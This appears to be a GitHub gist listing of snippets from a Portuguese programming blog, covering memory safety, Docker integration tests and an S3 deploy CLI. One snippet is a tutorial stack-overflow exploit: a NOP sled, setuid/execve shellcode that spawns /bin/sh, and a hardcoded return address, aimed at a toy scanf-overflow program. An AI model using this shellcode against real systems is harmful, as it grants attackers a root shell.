Skip to content

Instantly share code, notes, and snippets.

@andreybleme
andreybleme / exemplo2.c
Last active July 23, 2019 02:10
andreybleme.com | O que é Memory Safety
/* Programa 2 */
struct person {
int buf[4];
int x;
};
struct person *pf = malloc(sizeof(struct person));
pf->buf[5] = 3; // sorescreve pf->x
@andreybleme
andreybleme / exemplo1.c
Last active July 21, 2019 23:11
andreybleme.com | O que é Memory Safety
/* Pragrama 1 */
int x;
int buf[4];
buf[5] = 3; // sobrescreve x
@andreybleme
andreybleme / input.py
Last active July 6, 2019 14:47
andreybleme.com | Entendendo e explorando Buffer Overflow
#!/usr/bin/python
nopsled = '\x90' * 8
shellcode = (
'\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2' +
'\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89' +
'\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'
)
padding = '\x41' * 7
eip = '\x60\xf3\xff\xbf'
@andreybleme
andreybleme / esp.c
Created July 6, 2019 14:12
andreybleme.com | Entendendo e explorando Buffer Overflow
#include <stdio.h>
int main (void) {
register int i asm("esp");
printf("$esp = %#020x\n", i);
return 0;
}
@andreybleme
andreybleme / vulnerable.c
Last active July 6, 2019 17:12
andreybleme.com | Entendendo e explorando Buffer Overflow
#include <stdio.h>
#include <string.h>
int main (void) {
char buffer[5];
printf("Digite seu nome>\n");
scanf("%s", &buffer);
return 0;
}
@andreybleme
andreybleme / user.integration.test.js
Last active May 28, 2019 22:30
andreybleme.com | Integration tests with Docker
const knex = require('knex')({
client: 'pg',
connection: process.env.PG_URL,
});
let pgContainer = await new GenericContainer('postgres')
.withEnv('POSTGRES_USER', 'test')
.withEnv('POSTGRES_PASSWORD', 'test')
.withExposedPorts(5432)
@andreybleme
andreybleme / test-setup.js
Created May 28, 2019 02:46
andreybleme.com | Integration tests with Docker
const {Docker} = require('node-docker-api');
const docker = new Docker({ socketPath: '/var/run/docker.sock' });
docker.container.create({
Image: 'postgres',
name: 'test'
})
.then(container => container.start())
@andreybleme
andreybleme / db.test.sh
Last active May 28, 2019 22:43
andreybleme.com | Integration tests with Docker
#!/bin/bash
CONTAINER_ID=$(docker run -p 5400:5432 -e POSTGRES_USER=test -e POSTGRES_PASSWORD=test -d postgres:9.6.5)
REDIS_CONTAINER_ID=$(docker run -p 6379:6379 -d redis:4.0-alpine)
echo "Running PG Container: $CONTAINER_ID"
echo "Running Redis Container: $REDIS_CONTAINER_ID"
# waits
sleep 5
# run db tests
@andreybleme
andreybleme / cli.js
Created April 12, 2019 00:43
andreybleme.com | Criando uma CLI para fazer deploy de sites estáticos
let rootFolder = '.'
program
.command('deploy')
.option('-b, --bucket <s>', 'Bucket name', setBucket)
.option('-k, --key <s>', 'AWS Key', setKey)
.option('-s, --secret <s>', 'AWS Secret', setSecret)
.option('-r, --root <s>', 'Root path', setRootFolder)
.option('-e, --ignore <items>', 'Ignore files', setIgnore)
.action(function () {
@andreybleme
andreybleme / cli.js
Created April 12, 2019 00:39
andreybleme.com | Criando uma CLI para fazer deploy de sites estáticos
let ignored = []
program
.command('deploy')
.option('-b, --bucket <s>', 'Bucket name', setBucket)
.option('-k, --key <s>', 'AWS Key', setKey)
.option('-s, --secret <s>', 'AWS Secret', setSecret)
.option('-e, --ignore <items>', 'Ignore files', setIgnore)
.action(function () {
s3Services.setAwsCredentials(awsCredentials)